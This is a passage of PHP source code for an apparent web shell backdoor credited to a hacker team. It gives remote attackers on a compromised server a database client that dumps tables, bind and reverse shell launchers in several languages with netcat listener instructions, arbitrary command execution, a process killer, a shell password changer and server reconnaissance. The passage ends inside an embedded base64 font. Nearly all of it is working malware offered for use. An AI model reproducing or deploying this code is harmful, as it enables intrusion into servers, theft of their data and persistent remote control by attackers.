$s_sql[\'pass\'] = isset($_GP[\'sqlpass\'])? $_GP[\'sqlpass\'] : "";
$s_sql[\'type\'] = isset($_GP[\'sqltype\'])? $_GP[\'sqltype\'] : "";
}
if(isset($_GP[\'connect\'])){
$s_con = sql_connect($s_sql[\'type\'],$s_sql[\'host\'],$s_sql[\'user\'],$s_sql[\'pass\']);
$s_sqlcode = isset($_GP[\'sqlcode\'])? $_GP[\'sqlcode\'] : "";
if($s_con!==false){
if(isset($_GP[\'sqlinit\'])){
$s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
$s_c_num = substr(md5(time().rand(0,100)),0,3);
while(isset($_COOKIE[\'c\']) && is_array($_COOKIE[\'c\']) && array_key_exists($s_c_num, $_COOKIE[\'c\'])){
$s_c_num = substr(md5(time().rand(0,100)),0,3);
}
setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
}
$s_show_form = false;
$s_result .= "<form action=\'".$s_self."\' method=\'post\'>
<input type=\'hidden\' name=\'sqlhost\' value=\'".hss($s_sql[\'host\'])."\' />
<input type=\'hidden\' name=\'sqlport\' value=\'".hss($s_sql[\'port\'])."\' />
<input type=\'hidden\' name=\'sqluser\' value=\'".hss($s_sql[\'user\'])."\' />
<input type=\'hidden\' name=\'sqlpass\' value=\'".hss($s_sql[\'pass\'])."\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".hss($s_sql[\'type\'])."\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
<input type=\'hidden\' name=\'connect\' value=\'connect\' />
<textarea id=\'sqlcode\' name=\'sqlcode\' class=\'txtarea\' style=\'height:150px;\'>".hss($s_sqlcode)."</textarea>
<p><input type=\'submit\' name=\'gogo\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' />
Separate multiple commands with a semicolon <span class=\'gaya\'>[</span> ; <span class=\'gaya\'>]</span></p>
</form>";
if(!empty($s_sqlcode)){
$s_querys = explode(";",$s_sqlcode);
foreach($s_querys as $s_query){
if(trim($s_query) != ""){
$s_hasil = sql_query($s_sql[\'type\'],$s_query,$s_con);
if($s_hasil!=false){
$s_result .= "<hr /><p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query).";
<span class=\'gaya\'>[</span> ok <span class=\'gaya\'>]</span></p>";
if(!is_bool($s_hasil)){
$s_result .= "<table class=\'explore sortable\' style=\'width:100%;\'><tr>";
for($s_i = 0; $s_i<sql_num_fields($s_sql[\'type\'],$s_hasil); $s_i++)
$s_result .= "<th>".@hss(sql_field_name($s_sql[\'type\'],$s_hasil,$s_i))."</th>";
$s_result .= "</tr>";
while($s_rows=sql_fetch_data($s_sql[\'type\'],$s_hasil)){
$s_result .= "<tr>";
foreach($s_rows as $s_r){
if(empty($s_r)) $s_r = " ";
$s_result .= "<td>".@hss($s_r)."</td>";
}
$s_result .= "</tr>";
}
$s_result .= "</table>";
}
}
else{
$s_result .= "<p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query)."; <span class=\'gaya\'>[</span> error <span class=\'gaya\'>]</span></p>";
}
}
}
}
else{
if(($s_sql[\'type\']!=\'pdo\') && ($s_sql[\'type\']!=\'odbc\')){
if($s_sql[\'type\']==\'mysql\') $s_showdb = "SHOW DATABASES";
elseif($s_sql[\'type\']==\'mssql\') $s_showdb = "SELECT name FROM master..sysdatabases";
elseif($s_sql[\'type\']==\'pgsql\') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
elseif($s_sql[\'type\']==\'oracle\') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showdb = "SELECT \"".$s_sql[\'host\']."\"";
else $s_showdb = "SHOW DATABASES";
$s_hasil = sql_query($s_sql[\'type\'],$s_showdb,$s_con);
if($s_hasil!=false) {
while($s_rows_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil)){
foreach($s_rows_arr as $s_rows){
$s_result .= "<p class=\'notif\' onclick=\"toggle(\'db_".$s_rows."\')\">".$s_rows."</p>";
$s_result .= "<div class=\'info\' id=\'db_".$s_rows."\'><table class=\'explore\'>";
if($s_sql[\'type\']==\'mysql\') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
elseif($s_sql[\'type\']==\'mssql\') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = \'U\'";
elseif($s_sql[\'type\']==\'pgsql\') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$s_rows."\'";
elseif($s_sql[\'type\']==\'oracle\') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$s_rows."\'";
elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'";
else $s_showtbl = "";
$s_hasil_t = sql_query($s_sql[\'type\'],$s_showtbl,$s_con);
if($s_hasil_t!=false) {
while($s_tables_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil_t)){
foreach($s_tables_arr as $s_tables){
if($s_sql[\'type\']==\'mysql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
elseif($s_sql[\'type\']==\'mssql\') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
elseif($s_sql[\'type\']==\'pgsql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
elseif($s_sql[\'type\']==\'oracle\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
elseif($s_sql[\'type\']==\'sqlite\' || $s_sql[\'type\']==\'sqlite3\') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
else $s_dump_tbl = "";
$s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql[\'host\'])."&sqlport=".pl($s_sql[\'port\'])."&sqluser=".pl($s_sql[\'user\'])."&sqlpass=".pl($s_sql[\'pass\'])."&sqltype=".pl($s_sql[\'type\'])."&sqlcode=".pl($s_dump_tbl);
$s_result .= "<tr><td ondblclick=\"return go(\'".adds($s_dump_tbl_link)."\',event);\"><a href=\'".$s_dump_tbl_link."\'>".$s_tables."</a></td></tr>";
}
}
}
$s_result .= "</table></div>";
}
}
}
}
}
sql_close($s_sql[\'type\'],$s_con);
}
else{
$s_result .= notif("Unable to connect to database");
$s_show_form = true;
}
}
if($s_show_form){
// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
$s_sqllist = array();
if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class=\'desc\' style=\'font-size:12px;\'>- using class mysqli or mysql_*</span>";
if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class=\'desc\' style=\'font-size:12px;\'>- using sqlsrv_* or mssql_*</span>";
if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class=\'desc\' style=\'font-size:12px;\'>- using pg_*</span>";
if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class=\'desc\' style=\'font-size:12px;\'>- using oci_*</span>";
if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class=\'desc\' style=\'font-size:12px;\'>- using sqlite_*</span>";
if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class=\'desc\' style=\'font-size:12px;\'>- using class SQLite3</span>";
if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class=\'desc\' style=\'font-size:12px;\'>- using odbc_*</span>";
if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class=\'desc\' style=\'font-size:12px;\'>- using class PDO</span>";
foreach($s_sqllist as $s_sql[\'type\']=>$s_sqltitle){
if($s_sql[\'type\']=="odbc" || $s_sql[\'type\']=="pdo"){
$s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>DSN / Connection String</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
<tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr>
<tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>";
}
elseif($s_sql[\'type\']=="sqlite" || $s_sql[\'type\']=="sqlite3"){
$s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>DB File</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>";
}
else{
$s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>Host</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
<tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr>
<tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr>
<tr><td>Port (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlport\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>";
}
}
}
}
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'c0d3rs\')){
{
$s_result .= "<center><h1>Coders</h1>
<h2>Devolped By</h2><br><h3>Xnonymoux_Xoxor</h3><br><h3>Innoxent_Hoxor</h3><br><h2>Greets</h2><h3>Attitude_B0y | 3v1l 7p1r1t | Xoner Xoxor | Xnon_h3x | Exploit_Linux | All Team Of Xnonymoux.Org</h3></center>";
}
}
// bind and reverse shell
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'rs\')){
// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
$s_rshost = $s_server_ip;
$s_rsport = "13123"; // default port
$s_rspesana = "Press ' Go ! ' button and run ' nc <i>server_ip</i> <i>port</i> ' on your computer";
$s_rspesanb = "Run ' nc -l -v -p <i>port</i> ' on your computer and press ' Go ! ' button";
$s_rs_err = "";
$s_rsbind = $s_rsback = array();
$s_rsbind["bind_php"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>";
$s_rsback["back_php"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>";
$s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java");
foreach($s_access as $k=>$v){
if(isset($$k)){
$s_t = explode("_", $k);
$s_rsbind["bind_".$v] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>";
$s_rsback["back_".$v] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>";
}
}
if($s_win){
$s_rsbind["bind_win"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>";
$s_rsback["back_win"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>";
}
$s_rslist = array_merge($s_rsbind,$s_rsback);
if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");
foreach($s_rslist as $s_rstype=>$s_rstitle){
$s_split = explode("_",$s_rstype);
if($s_split[0]=="bind"){
$s_rspesan = $s_rspesana;
$s_rsdisabled = "disabled=\'disabled\'";
$s_rstarget = $s_server_ip;
$s_labelip = "Server IP";
}
elseif($s_split[0]=="back"){
$s_rspesan = $s_rspesanb;
$s_rsdisabled = "";
$s_rstarget = $s_my_ip;
$s_labelip = "Target IP";
}
if(isset($_GP[$s_rstype])){
if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];
if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;
if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
elseif($s_split[1]=="php") $s_rscode = $s_rs_php;
$s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
if($s_buff!="") $s_rs_err = notif(hss($s_buff));
}
$s_result .= "<div class=\'mybox\'><h2>".$s_rstitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:100px;\'>".$s_labelip."</td><td><input ".$s_rsdisabled." style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rshost_".$s_rstype."\' value=\'".hss($s_rstarget)."\' /></td></tr>
<tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rsport_".$s_rstype."\' value=\'".hss($s_rsport)."\' /></td></tr>
</table>
<input type=\'submit\' name=\'".$s_rstype."\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<span>".$s_rspesan."</span>
<input type=\'hidden\' name=\'x\' value=\'rs\' />
</form>
</div>";
}
$s_result = $s_rs_err.$s_result;
} // task manager
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')){
$s_buff = "";
// kill process specified by pid
if(isset($_GP[\'pid\'])){
$s_p = trim($_GP[\'pid\'],"|");
$s_parr = explode("|", $s_p);
foreach($s_parr as $s_p){
if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,\'9\'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
else{
if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
}
}
}
if(!$s_win) $s_h = "ps aux"; // nix
else $s_h = "tasklist /V /FO csv"; // win
$s_wcount = 11;
$s_wexplode = " ";
if($s_win) $s_wexplode = "\",\"";
$s_res = exe($s_h);
if(trim($s_res)==\'\') $s_result = notif("Error getting process list");
else{
if($s_buff!="") $s_result = $s_buff;
$s_result .= "<table class=\'explore sortable\'>";
if(!$s_win) $s_res = preg_replace(\'#\ +#\',\' \',$s_res);
$s_psarr = explode("
",$s_res);
$s_fi = true;
$s_tblcount = 0;
$s_check = explode($s_wexplode,$s_psarr[0]);
$s_wcount = count($s_check);
foreach($s_psarr as $s_psa){
if(trim($s_psa)!=\'\'){
if($s_fi){
$s_fi = false;
$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
$s_result .= "<tr><th style=\'width:24px;\' class=\'sorttable_nosort\'></th><th class=\'sorttable_nosort\'>action</th>";
foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
$s_result .= "</tr>";
}
else{
$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
$s_result .= "<tr>";
$s_tblcount = 0;
foreach($s_psln as $s_p){
$s_pid = trim(trim($s_psln[1]),"\"");
$s_piduniq = substr(md5($s_pid),0,8);
if(trim($s_p)=="") $s_p = " ";
if($s_tblcount == 0){
$s_result .= "<td style=\'text-align:center;text-indent:4px;\'><input id=\'".$s_piduniq."\' name=\'cbox\' value=\'".$s_pid."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' /><label for=\'".$s_piduniq."\' class=\'css-label\'></label></td><td class=\'ce\'><a href=\'".$s_self."x=ps&pid=".$s_pid."\'>kill</a></td><td class=\'ce\'>".trim(trim($s_p) ,"\"")."</td>";
$s_tblcount++;
}
else{
$s_tblcount++;
if($s_tblcount == count($s_psln)) $s_result .= "<td class=\'le\'>".trim(trim($s_p) ,"\"")."</td>";
else $s_result .= "<td class=\'ce\'>".trim(trim($s_p) ,"\"")."</td>";
}
}
$s_result .= "</tr>";
}
}
}
$colspan = count($s_psln)+1;
$s_result .= "<tfoot><tr class=\'cbox_selected\'><td class=\'cbox_all\'>
<form action=\'".$s_self."\' method=\'post\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /><label for=\'checkalll\' class=\'css-label\'></label></form>
</td><td style=\'text-indent:10px;padding:2px;\' colspan=".$colspan."><a href=\'javascript: pkill();\'>kill selected <span id=\'total_selected\'></span></a></td>
</tr></tfoot></table>";
}
}
elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'pass\')){
if(isset($_GP[\'submitnewpass\'])){
$newpass = isset($_GP[\'newpass\'])? trim($_GP[\'newpass\']):"";
$newpassx = isset($_GP[\'newpassx\'])? trim($_GP[\'newpassx\']):"";
if(empty($newpass) || empty($newpassx)){
$s_result .= notif(\'Give your new password to both fields\');
}
elseif($newpass != $newpassx){
$s_result .= notif(\'Password does not match\');
}
else{
if(changepass($newpass)){
$s_result .= notif("Password changed");
}
else $s_result .= notif("Unable to change password");
}
}
$s_result .= "<div class=\'mybox\'><h2>Change shell password</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:120px;\'>New password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'newpass\' value=\'\' /></td></tr>
<tr><td style=\'width:120px;\'>Confirm password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'newpassx\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'submitnewpass\' class=\'inputzbut\' value=\'Change Password\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'x\' value=\'pass\' />
</form>
</div>";
}
else{
if(!isset($s_cwd)) $s_cwd = "";
if(isset($_GP[\'cmd\'])){
$s_cmd = $_GP[\'cmd\'];
if(strlen($s_cmd) > 0){
if(preg_match(\'#^cd(\ )+(.*)#\',$s_cmd,$s_r)){
$s_nd = trim($s_r[2]);
if(@is_dir($s_nd)){
chdir($s_nd);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
elseif(@is_dir($s_cwd.$s_nd)){
chdir($s_cwd.$s_nd);
$s_cwd = cp(getcwd());
setcookie("cwd", $s_cwd ,time() + $s_login_time);
$s_result .= showdir($s_cwd);
}
else $s_result .= notif(hss($s_nd)." is not a directory");
}
else{
$s_r = hss(exe($s_cmd));
if($s_r != \'\') $s_result .= "<pre>".$s_r."</pre>";
else $s_result .= showdir($s_cwd);
}
}
else $s_result .= showdir($s_cwd);
}
else $s_result .= showdir($s_cwd);
}
// find drive letters
$s_letters = \'\';
$s_v = explode("\",$s_cwd);
$s_v = $s_v[0];
foreach (range("A", "Z") as $s_letter){
if(@is_readable($s_letter.":\")){
$s_letters .= "<a href=\'".$s_self."cd=".$s_letter.":\\'>[ ";
if($s_letter.":" != $s_v) $s_letters .= $s_letter;
else{$s_letters .= "<span class=\'drive-letter\'>".$s_letter."</span>";}
$s_letters .= " ]</a> ";
}
}
// print useful info
$s_info = "<table class=\'headtbl\'><tr><td>Uname: ".$s_system."</td></tr>";
$s_info .= "<tr><td>OS : ".$s_software."</td></tr>";
$s_info .= "<tr><td>Server IP : ".$s_server_ip."<span class=\'gaya\'> </span><br>Your IP : ".$s_my_ip;
$s_info .= "<span class=\'gaya\'> </span><br>Time @ Server : ".@date("d M Y H:i:s",time());
$s_info .= "</td></tr>
<tr><td style=\'text-align:left;\'>
<table class=\'headtbls\'><tr>
<td>".trim($s_letters)."</td>
<td>
<span id=\'chpwd\'>
<a href=\"javascript:tukar_(\'chpwd\',\'chpwdform\')\">
<span class=\'icon\'>CD</span>
</a>".swd($s_cwd)."</span>
<form action=\'".$s_self."\' method=\'post\' style=\'margin:0;padding:0;\'>
<span class=\'sembunyi\' id=\'chpwdform\'>
<a href=\"javascript:tukar_(\'chpwdform\',\'chpwd\');\">
<span class=\'icon\'>CD</span>
</a>
<input type=\'text\' name=\'view\' class=\'inputz\' style=\'width:300px;\' value=\'".hss($s_cwd)."\' />
<input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'view file / folder\' />
</span>
</form>
</td></tr>
</table>
</td></tr>
</table>";
}
$s_error = @ob_get_contents();
$s_result = isset($s_result)? $s_result:"";
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
@ob_end_clean();
@ob_start();
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<meta charset="utf-8">
<meta name=\'robots\' content=\'noindex, nofollow, noarchive\'>
<link rel=\'SHORTCUT ICON\' href=\'<?php echo $s_favicon; ?>\'>
<style>
@font-face {
font-family: \'ubuntu_monoregular\';
src: url(data:application/x-font-woff;charset=utf-8;base64,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